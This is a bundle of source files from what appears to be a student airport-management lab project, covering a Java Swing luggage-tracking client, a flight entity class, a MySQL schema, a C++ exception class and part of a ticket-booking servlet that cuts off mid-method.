labelFlight.setText(flight.toString());
fetchLuggages();
}
private void fetchLuggages(){
try {
communicator.SendSerializable(new RequeteLUGAP_getLuggages(flight));
ReponseLUGAP_getLuggages reponse = communicator.receiveSerializable(ReponseLUGAP_getLuggages.class);
if(!reponse.isSuccessful()){
System.err.println(reponse.getMessage());
JOptionPane.showMessageDialog(this, reponse.getMessage(), "ERROR", JOptionPane.ERROR_MESSAGE);
this.dispatchEvent(new WindowEvent(this, WindowEvent.WINDOW_CLOSING));
}
else{
if(reponse.getLuggages().isEmpty()){
System.err.println("There are no luggages for this flight!");
JOptionPane.showMessageDialog(this, "There are no luggages for this flight!", "ERROR", JOptionPane.ERROR_MESSAGE);
this.dispatchEvent(new WindowEvent(this, WindowEvent.WINDOW_CLOSING));
}
for(Luggage luggage : reponse.getLuggages()){
Object[] objs = luggage.toArray();
model.addRow(objs);
this.luggages.put(luggage.toString(), luggage);
}
}
} catch (CommunicatorException ex) {
System.err.println(ex.getMessage());
JOptionPane.showMessageDialog(this, ex.getMessage(), "ERROR", JOptionPane.ERROR_MESSAGE);
}
}
/** This method is called from within the constructor to
* initialize the form.
* WARNING: Do NOT modify this code. The content of this method is
* always regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
private void initComponents() {
labelBaggageDe = new javax.swing.JLabel();
labelFlight = new javax.swing.JLabel();
jSeparator1 = new javax.swing.JSeparator();
jScrollPane2 = new javax.swing.JScrollPane();
tableLuggageList = new javax.swing.JTable();
setDefaultCloseOperation(javax.swing.WindowConstants.DO_NOTHING_ON_CLOSE);
addWindowListener(new java.awt.event.WindowAdapter() {
public void windowClosing(java.awt.event.WindowEvent evt) {
formWindowClosing(evt);
}
});
labelBaggageDe.setText("Baggages de :");
labelFlight.setFont(new java.awt.Font("Lucida Grande", 1, 13)); // NOI18N
tableLuggageList.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
}
));
jScrollPane2.setViewportView(tableLuggageList);
javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
getContentPane().setLayout(layout);
layout.setHorizontalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jSeparator1)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addComponent(jScrollPane2)
.addGroup(layout.createSequentialGroup()
.addComponent(labelBaggageDe)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
.addComponent(labelFlight, javax.swing.GroupLayout.DEFAULT_SIZE, 890, Short.MAX_VALUE)))
.addContainerGap())
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
.addComponent(labelBaggageDe)
.addComponent(labelFlight))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jSeparator1, javax.swing.GroupLayout.PREFERRED_SIZE, 10, javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
.addComponent(jScrollPane2, javax.swing.GroupLayout.PREFERRED_SIZE, 290, javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
);
pack();
}// </editor-fold>//GEN-END:initComponents
private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing
boolean found = false;
for (Iterator iterator = this.luggages.values().iterator(); !found && iterator.hasNext();) {
Luggage next = (Luggage) iterator.next();
if(next.getLoaded() == 'N'){
String msg = "One or more luggage(s) are still not loaded. Canceling closing the window.";
System.err.println(msg);
JOptionPane.showMessageDialog(this, msg, "?!?", JOptionPane.INFORMATION_MESSAGE);
found = true;
}
}
if(found)
return;
((JFrameFlightList)getParent()).exitProcedure();
this.dispose();
}//GEN-LAST:event_formWindowClosing
// Variables declaration - do not modify//GEN-BEGIN:variables
private javax.swing.JScrollPane jScrollPane2;
private javax.swing.JSeparator jSeparator1;
private javax.swing.JLabel labelBaggageDe;
private javax.swing.JLabel labelFlight;
private javax.swing.JTable tableLuggageList;
// End of variables declaration//GEN-END:variables
@Override
public void tableChanged(TableModelEvent e) {
int row = e.getFirstRow();
int column = e.getColumn();
if(column != -1){
DefaultTableModel dtm = (DefaultTableModel) e.getSource();
String idLuggage = (String) dtm.getValueAt(row, 0);
Luggage modifiedLuggage = this.luggages.get(idLuggage);
ReponseLUGAP_updateField reponse;
String str = (String) dtm.getValueAt(row, column);
try {
switch(column){
case 3: //Réceptionné (O/N)
char newReceived = str.charAt(0);
if(str.length() !=1 || (newReceived!='O' && newReceived!='N')){
dtm.setValueAt(String.valueOf(modifiedLuggage.getReceived()), row, column);
JOptionPane.showMessageDialog(this, "Value must be either O or N.", "WARNING", JOptionPane.WARNING_MESSAGE);
break;
}
if(modifiedLuggage.getReceived() == newReceived)
break;
this.communicator.SendSerializable(new RequeteLUGAP_updateFieldReceived(modifiedLuggage, newReceived));
reponse = this.communicator.receiveSerializable(ReponseLUGAP_updateField.class);
if(!reponse.isSuccessful()){
dtm.setValueAt(String.valueOf(modifiedLuggage.getReceived()), row, column);
System.err.println(reponse.getMessage());
JOptionPane.showMessageDialog(this, reponse.getMessage(), "WARNING", JOptionPane.WARNING_MESSAGE);
}
else
modifiedLuggage.setReceived(newReceived);
break;
case 4: //Chargé en soute (O/N/R)
char newLoaded = str.charAt(0);
if(str.length() !=1 || (newLoaded!='O' && newLoaded!='N' && newLoaded!='R')){
dtm.setValueAt(String.valueOf(modifiedLuggage.getLoaded()), row, column);
JOptionPane.showMessageDialog(this, "Value must be either O, N or R.", "WARNING", JOptionPane.WARNING_MESSAGE);
break;
}
if(modifiedLuggage.getLoaded() == newLoaded)
break;
this.communicator.SendSerializable(new RequeteLUGAP_updateFieldLoaded(modifiedLuggage, newLoaded));
reponse = this.communicator.receiveSerializable(ReponseLUGAP_updateField.class);
if(!reponse.isSuccessful()){
dtm.setValueAt(String.valueOf(modifiedLuggage.getLoaded()), row, column);
System.err.println(reponse.getMessage());
JOptionPane.showMessageDialog(this, reponse.getMessage(), "WARNING", JOptionPane.WARNING_MESSAGE);
}
else
modifiedLuggage.setLoaded(newLoaded);
break;
case 5: //Vérifié par la douane (O/N)
char newCheckedByCustoms = str.charAt(0);
if(str.length() !=1 || (newCheckedByCustoms!='O' && newCheckedByCustoms!='N')){
dtm.setValueAt(String.valueOf(modifiedLuggage.getLoaded()), row, column);
JOptionPane.showMessageDialog(this, "Value must be either O or N.", "WARNING", JOptionPane.WARNING_MESSAGE);
break;
}
if(modifiedLuggage.getLoaded() == newCheckedByCustoms)
break;
this.communicator.SendSerializable(new RequeteLUGAP_updateFieldCheckedByCustoms(modifiedLuggage, newCheckedByCustoms));
reponse = this.communicator.receiveSerializable(ReponseLUGAP_updateField.class);
if(!reponse.isSuccessful()){
dtm.setValueAt(modifiedLuggage.getCheckedByCustom(), row, column);
System.err.println(reponse.getMessage());
JOptionPane.showMessageDialog(this, reponse.getMessage(), "WARNING", JOptionPane.WARNING_MESSAGE);
}
else
modifiedLuggage.setCheckedByCustom(newCheckedByCustoms);
break;
case 6: //Remarques
if(modifiedLuggage.getComments().equals(str))
break;
this.communicator.SendSerializable(new RequeteLUGAP_updateFieldComments(modifiedLuggage, str));
reponse = this.communicator.receiveSerializable(ReponseLUGAP_updateField.class);
if(!reponse.isSuccessful()){
dtm.setValueAt(modifiedLuggage.getComments(), row, column);
System.err.println(reponse.getMessage());
JOptionPane.showMessageDialog(this, reponse.getMessage(), "WARNING", JOptionPane.WARNING_MESSAGE);
}
else
modifiedLuggage.setComments(str);
break;
default:
break;
}
} catch (CommunicatorException ex) {
System.err.println(ex.getMessage());
JOptionPane.showMessageDialog(this, ex.getMessage(), "ERROR", JOptionPane.ERROR_MESSAGE);
System.exit(1);
}
}
}
}
<file_sep>/final eclipse/Librairie/src/database/entities/Vol.java
package database.entities;
import java.io.Serializable;
import java.sql.Date;
import java.sql.Time;
import java.text.SimpleDateFormat;
/**
* @author nicol
*
*/
public class Vol implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private int idAvion;
private String idCompagnieAvion;
private Date departDate;
private String destination;
private String zoneGeographique;
private int distance;
private Time heureDepart;
private Time heureAtterisage;
private int place;
private double prix;
private String piste;
public Vol()
{
}
public Vol(int idAvion, String idAirline, Date departureDate, String destination, String piste)
{
this.idAvion = idAvion;
this.idCompagnieAvion = idAirline;
this.departDate = departureDate;
this.destination = destination;
this.piste = piste;
}
public Vol(int idAvion, String idAirline, Date departureDate, String destination, int seats, double price, String piste)
{
this.idAvion = idAvion;
this.idCompagnieAvion = idAirline;
this.departDate = departureDate;
this.destination = destination;
this.place = seats;
this.prix = price;
this.piste = piste;
}
public Vol(int idAvion, String idCompagnieAvion, Date departDate, String destination, String zoneGeographique,
int distance, Time heureDepart, Time heureAtterisage, int place, double prix) {
super();
this.idAvion = idAvion;
this.idCompagnieAvion = idCompagnieAvion;
this.departDate = departDate;
this.destination = destination;
this.zoneGeographique = zoneGeographique;
this.distance = distance;
this.heureDepart = heureDepart;
this.heureAtterisage = heureAtterisage;
this.place = place;
this.prix = prix;
}
public Vol(int idAvion, String idAirline, Date departureDate, String destination, String geographiczone, int distance,
Time departureTime, Time landingTime, int seatsSold, double price, String piste)
{
this.idAvion = idAvion;
this.idCompagnieAvion = idAirline;
this.departDate = departureDate;
this.destination = destination;
this.zoneGeographique = geographiczone;
this.distance = distance;
this.heureDepart = departureTime;
this.heureAtterisage = landingTime;
this.place = seatsSold;
this.prix = price;
this.piste = piste;
}
public int getIdAvion()
{
return idAvion;
}
public void setIdAvion(int idAvion)
{
this.idAvion = idAvion;
}
public String getIdCompagnieAvion()
{
return idCompagnieAvion;
}
public void setIdCompagnieAvion(String idCompagnieAvion)
{
this.idCompagnieAvion = idCompagnieAvion;
}
public Date getDepartDate()
{
return departDate;
}
public void setDepartDate(Date departDate)
{
this.departDate = departDate;
}
public String getDestination() {
return destination;
}
public void setDestination(String destination)
{
this.destination = destination;
}
public String getZoneGeographique()
{
return zoneGeographique;
}
public void setZoneGeographique(String zoneGeographique)
{
this.zoneGeographique = zoneGeographique;
}
public int getDistance()
{
return distance;
}
public void setDistance(int distance)
{
this.distance = distance;
}
public Time getHeureDepart() {
return heureDepart;
}
public void setHeureDepart(Time heureDepart)
{
this.heureDepart = heureDepart;
}
public Time getHeureAtterisage() {
return heureAtterisage;
}
public void setHeureAtterisage(Time heureAtterisage)
{
this.heureAtterisage = heureAtterisage;
}
public int getPlace()
{
return place;
}
public void setPlace(int place)
{
this.place = place;
}
public double getPrix()
{
return prix;
}
public void setPrix(double prix)
{
this.prix = prix;
}
public String getPiste()
{
return piste;
}
public void setPiste(String piste)
{
this.piste = piste;
}
@Override
public String toString()
{
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append("VOL ");
stringBuilder.append(getIdAvion());
stringBuilder.append(" ");
stringBuilder.append(getIdCompagnieAvion());
stringBuilder.append(" - ");
stringBuilder.append(getDestination());
stringBuilder.append(" ");
stringBuilder.append(new SimpleDateFormat("HH:mm").format(this.getHeureDepart()));
return stringBuilder.toString();
}
@Override
public boolean equals(Object obj)
{
if (this == obj)
return true;
if (obj == null)
return false;
if (getClass() != obj.getClass())
return false;
Vol other = (Vol) obj;
return this.idAvion == other.idAvion
&& this.idCompagnieAvion.equals(other.idCompagnieAvion)
&& this.departDate.equals(other.departDate)
&& this.destination.equals(other.destination)
&& this.zoneGeographique.equals(other.zoneGeographique)
&& this.distance == other.distance
&& this.heureDepart.equals(other.heureDepart)
&& this.heureAtterisage.equals(other.heureAtterisage)
&& this.place == other.place
&& this.prix == other.prix
&& this.piste.equals(other.piste);
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/CsvException.cpp
#include "CsvException.h"
CsvException::CsvException(const string msg) : exception(), message(msg) {}
CsvException::CsvException(const char *msg) : exception(), message(msg) {}
CsvException::CsvException(const CsvException &orig) : exception(orig), message(orig.message) {}
CsvException::~CsvException() throw() {}
const char* CsvException::what() const throw(){
return this->message.c_str();
}
<file_sep>/LaboReseauxBinome/BD_AIRPORT/createDatabase.sql
DROP TABLE IF EXISTS `BD_AIRPORT`.`luggage`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`ticket`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`caddieitem`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`caddie`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`passenger`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`flight`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`geographiczone`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`airplane`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`airline`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`agent`;
DROP TABLE IF EXISTS `BD_AIRPORT`.`job`;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`job` (
`idjob` int(11) NOT NULL,
`name` varchar(100) NOT NULL,
PRIMARY KEY (`idjob`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`agent` (
`login` varchar(50) NOT NULL,
`password` varchar(50) NOT NULL,
`lastname` varchar(50) NOT NULL,
`firstname` varchar(50) DEFAULT NULL,
`fk_idjob` int(11) NOT NULL,
PRIMARY KEY (`login`),
KEY `fk_job` (`fk_idjob`),
CONSTRAINT `fk_job` FOREIGN KEY (`fk_idjob`) REFERENCES `BD_AIRPORT`.`job` (`idjob`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`airline` (
`idairline` varchar(3) NOT NULL,
`name` varchar(100) NOT NULL,
PRIMARY KEY (`idairline`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`airplane` (
`idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`etat` varchar(45) DEFAULT 'check_OK',
`seats` int(4) NOT NULL DEFAULT 100,
PRIMARY KEY (`fk_idairline`,`idairplane`),
CONSTRAINT `fk_airline` FOREIGN KEY (`fk_idairline`) REFERENCES `BD_AIRPORT`.`airline` (`idairline`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`geographiczone` (
`idgeographiczone` VARCHAR(10) NOT NULL,
PRIMARY KEY (`idgeographiczone`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`flight` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`departure` date NOT NULL,
`destination` varchar(50) NOT NULL,
`fk_idgeographiczone` VARCHAR(10) NOT NULL,
`distance` INT NOT NULL DEFAULT 0,
`takeOffTime` time DEFAULT NULL,
`scheduledLanding` time DEFAULT NULL,
`actualLanding` time DEFAULT NULL,
`seatsSold` int(4) NOT NULL DEFAULT 0,
`price` double NOT NULL,
`piste` varchar(9) DEFAULT NULL,
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`departure`,`destination`),
KEY `fk_airplane` (`fk_idairline`,`fk_idairplane`),
CONSTRAINT `fk_airplane` FOREIGN KEY (`fk_idairline`,`fk_idairplane`) REFERENCES `BD_AIRPORT`.`airplane` (`fk_idairline`, `idairplane`),
KEY `fk_geographiczone` (`fk_idgeographiczone`),
CONSTRAINT `fk_geographiczone` FOREIGN KEY (`fk_idgeographiczone`) REFERENCES `BD_AIRPORT`.`geographiczone` (`idgeographiczone`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`passenger` (
`idpassenger` varchar(14) NOT NULL,
`lastname` varchar(30) NOT NULL,
`birthday` date not null,
`gender` CHAR(1) NOT NULL,
`firstname` varchar(30) NOT NULL,
`login` varchar(30) DEFAULT NULL,
`password` varchar(50) DEFAULT NULL,
PRIMARY KEY (`idpassenger`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`caddie` (
`idcaddie` INT NOT NULL AUTO_INCREMENT,
`fk_idpassenger` varchar(14) NOT NULL,
PRIMARY KEY (`idcaddie`),
KEY `fk_passenger_caddie` (`fk_idpassenger`),
CONSTRAINT `fk_passenger_caddie` FOREIGN KEY (`fk_idpassenger`) REFERENCES `BD_AIRPORT`.`passenger` (`idpassenger`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`caddieitem`(
`iditem` INT NOT NULL AUTO_INCREMENT,
`fk_idcaddie` INT NOT NULL,
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`fk_departure` date NOT NULL,
`fk_destination` varchar(50) NOT NULL,
`reservedSeats` INT(4) NOT NULL DEFAULT 0,
PRIMARY KEY (`iditem`),
KEY `fk_caddie` (`fk_idcaddie`),
CONSTRAINT `fk_caddie` FOREIGN KEY (`fk_idcaddie`) REFERENCES `BD_AIRPORT`.`caddie` (`idcaddie`),
KEY `ticket_ibfk_2` (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`),
CONSTRAINT `ticket_ibfk_2` FOREIGN KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`) REFERENCES `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`ticket` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`fk_departure` date NOT NULL,
`fk_destination` varchar(50) NOT NULL,
`idticket` int(11) NOT NULL,
`fk_idpassenger` varchar(14) NOT NULL,
`nbaccompagnant` int(11) NOT NULL,
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`idticket`),
KEY `fk_passenger` (`fk_idpassenger`),
CONSTRAINT `fk_passenger_ticket` FOREIGN KEY (`fk_idpassenger`) REFERENCES `BD_AIRPORT`.`passenger` (`idpassenger`),
CONSTRAINT `ticket_ibfk_1` FOREIGN KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`) REFERENCES `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
-- --------------------------------------------------------
CREATE TABLE `BD_AIRPORT`.`luggage` (
`fk_idairplane` int(11) NOT NULL,
`fk_idairline` varchar(3) NOT NULL,
`fk_departure` date NOT NULL,
`fk_destination` varchar(50) NOT NULL,
`fk_idticket` int(11) NOT NULL,
`idluggage` int(11) NOT NULL,
`weight` FLOAT NOT NULL DEFAULT 0.0,
`isluggage` TINYINT(1) NULL DEFAULT 1,
`received` CHAR(1) NOT NULL DEFAULT 'N',
`loaded` CHAR(1) NOT NULL DEFAULT 'N',
`checkedbycustom` CHAR(1) NOT NULL DEFAULT 'N',
`comments` varchar(255) NOT NULL DEFAULT 'NEANT',
PRIMARY KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`fk_idticket`,`idluggage`),
CONSTRAINT `fk_ticket` FOREIGN KEY (`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`fk_idticket`) REFERENCES `BD_AIRPORT`.`ticket` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `idticket`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
<file_sep>/final eclipse/Librairie/src/network/protocole/lugap/reponse/Reponse_login.java
package network.protocole.lugap.reponse;
import java.io.Serializable;
import generic.server.AReponse;
public class Reponse_login extends AReponse implements Serializable {
private Reponse_login(String message, boolean successful) {
super(message, successful);
}
public static Reponse_login OK(){
return new Reponse_login("", true);
}
public static Reponse_login KO(String message){
return new Reponse_login(message, false);
}
/**
*
*/
private static final long serialVersionUID = 1L;
}
<file_sep>/final eclipse/ClientBilletWeb/src/reservation_billet/ControleurServlet.java
package reservation_billet;
import java.io.IOException;
import java.io.PrintWriter;
import java.sql.Date;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Time;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.servlet.ServletConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import database.entities.Vol;
import database.utilities.Access;
/**
* Servlet implementation class ControleurServlet
*/
@WebServlet("/ControleurServlet")
public class ControleurServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
private final int MAXINACTIVEINTERVAL = 120;
private final String DB_IP = "localhost";
private final String DB_PORT = "33306";
private final String DB_SCHEMA = "BD_AIRPORT";
private final String DB_USERNAME = "inpres_airport";
private final String DB_PASSWORD = "<PASSWORD>";
private final String DB_TABLE_LOGIN = "passenger";
private final String DB_TABLE_CADDIE = "caddie";
private final String DB_TABLE_RESERVATION = "caddieitem";
private final String DB_TABLE_VOL = "flight";
private final String DB_TABLE_AVION = "airplane";
private final String DB_TABLE_BILLET = "ticket";
private Access db;
private ServletContext servletContext;
/**
* @see HttpServlet#HttpServlet()
*/
public ControleurServlet() {
super();
}
/**
* @see Servlet#init(ServletConfig)
*/
public void init(ServletConfig config) throws ServletException {
super.init(config);
this.servletContext = getServletContext();
this.servletContext.log("-- démarrage de la ControllerServlet");
try {
this.db = new Access(Access.dataBaseType.MYSQL, this.DB_IP, this.DB_PORT, this.DB_SCHEMA, this.DB_USERNAME, this.DB_PASSWORD);
this.db.connect();
} catch (ClassNotFoundException ex) {
this.servletContext.log("CLASSNOTFOUND !?!", ex);
} catch (SQLException ex) {
this.servletContext.log("SQLEXCEPTION !?!", ex);
}
}
/**
* @see Servlet#destroy()
*/
public void destroy() {
super.destroy();
db = null;
}
/**
* @see Servlet#getServletInfo()
*/
public String getServletInfo() {
return "Servlet controleur billet achat";
}
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
System.out.println("\n\n\n\n\n--- Received request for page : " + request.getRequestURL());
System.out.println("***** REQUEST items : ");
Enumeration<String> requestAttributeNames = request.getParameterNames();
while (requestAttributeNames.hasMoreElements()) {
String name = requestAttributeNames.nextElement();
Object value = request.getParameter(name);
System.out.println(" " + name + "=" + value);
}
HttpSession session = request.getSession(false);
if(session == null){
requeteLogin(request, response);
}
else{
System.out.println("\n***** SESSION items : ");
Enumeration<String> sessionAttributeNames = session.getAttributeNames();
while (sessionAttributeNames.hasMoreElements()) {
String name = sessionAttributeNames.nextElement();
Object value = session.getAttribute(name);
System.out.println(" " + name + "=" + value);
}
System.out.println("\n");
String action = request.getRequestURI().substring(request.getContextPath().length()+1);
switch(action){
case "init" :
initRequete(request, response);
break;
case "caddie" :
caddieRequete(request, response);
break;
case "pay" :
payRequete(request, response);
break;
case "payment" :
this.servletContext.getRequestDispatcher("/WEB-INF/JSPPayment.jsp")
.forward(request, response);
break;
case "logout" :
session.invalidate();
response.sendRedirect(request.getContextPath() + "/");
break;
default:
if(session.getAttribute("idcaddie") != null)
response.sendRedirect(request.getContextPath() + "/caddie");
else{
if(session.getAttribute("idpassenger") != null)
response.sendRedirect(request.getContextPath() + "/init");
else
affichagePage(response, "Action inconnue! (" + action + ")");
}
}
}
}
/**
* @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
*/
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
processRequest(request, response);
}
/**
* @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
*/
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
processRequest(request, response);
}
private void requeteLogin(HttpServletRequest request, HttpServletResponse response) {
if(request.getParameter("inputLogin") == null){
try {
// Arrive pour la 1ère fois sur la page login
if(request.getParameter("nvCli") != null)
this.servletContext.getRequestDispatcher("/nouvelleUtilisateur.html")
.forward(request, response);
else
this.servletContext.getRequestDispatcher("/login.html")
.forward(request, response);
} catch(ServletException | IOException ex) {
Logger.getLogger(ControleurServlet.class.getName()).log(Level.SEVERE, null, ex);
affichagePage(response, "ERREUR de forward depuis loginRequest.");
}
}else{
if(request.getParameter("eid") != null)
enregistrerClient(request, response);
else
loginClient(request, response);
}
}
private void enregistrerClient(HttpServletRequest request, HttpServletResponse response) {
this.servletContext.log("New client requested to register.");
try {
Map<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, (String)request.getParameter("inputLogin"));
// On vérifie si l'agent existe déjà
String sql = "SELECT password FROM " + this.DB_TABLE_LOGIN + " WHERE login=? FOR UPDATE";
ResultSet resultSet = this.db.executeQuery(sql, preparedMap);
if(resultSet.next()){
this.servletContext.getRequestDispatcher("/newUserErr.html")
.forward(request, response);
}
else{
//L'agent n'existe pas encore ==> insert!
preparedMap.put(2, request.getParameter("inputPassword"));
preparedMap.put(3, request.getParameter("eid"));
preparedMap.put(4, request.getParameter("firstname"));
preparedMap.put(5, request.getParameter("lastname"));
sql = "INSERT INTO " + this.DB_TABLE_LOGIN + "(login, password, idpassenger, firstname, lastname) VALUES (?, ?, ?, ?, ?)";
if(this.db.executeUpdate(sql, preparedMap) == 1){
this.db.commit();
HttpSession session = request.getSession(true);
session.setAttribute("idpassenger", request.getParameter("eid"));
session.setAttribute("firstname", request.getParameter("firstname"));
session.setAttribute("lastname", request.getParameter("lastname"));
session.setMaxInactiveInterval(this.MAXINACTIVEINTERVAL);
response.sendRedirect(request.getContextPath() + "/init");
}
else{
this.db.rollback();
affichagePage(response, "ERREUR lors de l'ajout de vos identifiants dans la base de données!");
}
}
} catch (SQLException ex) {
this.servletContext.log("ERREUR de connexion à la base de données!", ex);
affichagePage(response, "ERREUR de connexion à la base de données!");
} catch (ServletException | IOException ex) {
this.servletContext.log("ERREUR de forward depuis loginRequest.", ex);
affichagePage(response, "ERREUR de forward depuis loginRequest.");
} catch (InterruptedException ex) {
this.servletContext.log("ERREUR SQL was interrupted.", ex);
affichagePage(response, "ERREUR SQL was interrupted.");
}
}
private void loginClient(HttpServletRequest request, HttpServletResponse response) {
this.servletContext.log("New client requested to login.");
try {
Map<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, request.getParameter("inputLogin"));
String sql = "SELECT password, idpassenger, lastname, firstname FROM " + this.DB_TABLE_LOGIN + " WHERE login=?";
ResultSet resultSet = this.db.executeQuery(sql, preparedMap);
if( !resultSet.next() || !resultSet.getString("password")
.equals(request.getParameter("inputPassword")))
this.servletContext.getRequestDispatcher("/loginErr.html")
.forward(request, response);
else{
HttpSession session = request.getSession(true);
session.setAttribute("idpassenger", resultSet.getString("idpassenger"));
session.setAttribute("firstname", resultSet.getString("firstname"));
session.setAttribute("lastname", resultSet.getString("lastname"));
session.setMaxInactiveInterval(this.MAXINACTIVEINTERVAL);
response.sendRedirect(request.getContextPath() + "/init");
}
} catch (SQLException ex) {
this.servletContext.log("ERREUR de connexion à la base de données!", ex);
affichagePage(response, "ERREUR de connexion à la base de données!");
} catch (ServletException | IOException ex) {
this.servletContext.log("ERREUR de forward depuis loginRequest.", ex);
affichagePage(response, "ERREUR de forward depuis loginRequest.");
}
}
private void initRequete(HttpServletRequest request, HttpServletResponse response) {
this.servletContext.log("New client requested to init caddie.");
request.setAttribute("pageTitle", "Creating your caddie...");
try {
try{
HttpSession session = request.getSession(false);
if(session.getAttribute("idcaddie") != null){
response.sendRedirect(request.getContextPath() + "/caddie");
return;
}
else{
try {
Map<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, (String) session.getAttribute("idpassenger"));
String sql = "SELECT idcaddie FROM " + this.DB_TABLE_CADDIE
+ " WHERE fk_idpassenger = ? FOR UPDATE";
ResultSet resultSet;
resultSet = this.db.executeQuery(sql, preparedMap);
if(resultSet.next()){
// Le client a déjà un caddie d'ouvert
// (session interrompue, session reprise d'un autre appareil, etc...)
this.db.rollback();
session.setAttribute("idcaddie", resultSet.getInt("idcaddie"));;
}
else{
// Le caddie n'existe pas encore ==> on le créé
sql = "INSERT INTO " + this.DB_TABLE_CADDIE + "(fk_idpassenger)"
+ " VALUES(?)";
int result = this.db.executeUpdate(sql, preparedMap);
if(result != 1){
this.db.rollback();
affichagePage(response, "ERREUR de création du caddie dans la BdD!");
return;
}
else{
this.db.commit();
// On va chercher l'id du caddie
sql = "SELECT idcaddie FROM " + this.DB_TABLE_CADDIE
+ " WHERE fk_idpassenger = ?";
ResultSet newRes = this.db.executeQuery(sql, preparedMap);
if( !newRes.next() )
request.setAttribute("msgErreur", "ERREUR de recuperation du nouvel id du caddie!");
else{
session.setAttribute("idcaddie", newRes.getInt("idcaddie"));
}
}
}
} catch (SQLException ex) {
this.servletContext.log("ERREUR de connexion à la base de données!", ex);
request.setAttribute("msgErreur", "ERREUR de connexion à la base de données!");
} catch (InterruptedException ex) {
this.servletContext.log("ERREUR SQL was interrupted.", ex);
request.setAttribute("msgErreur", "ERREUR SQL was interrupted.");
}
}
} catch (IOException ex) {
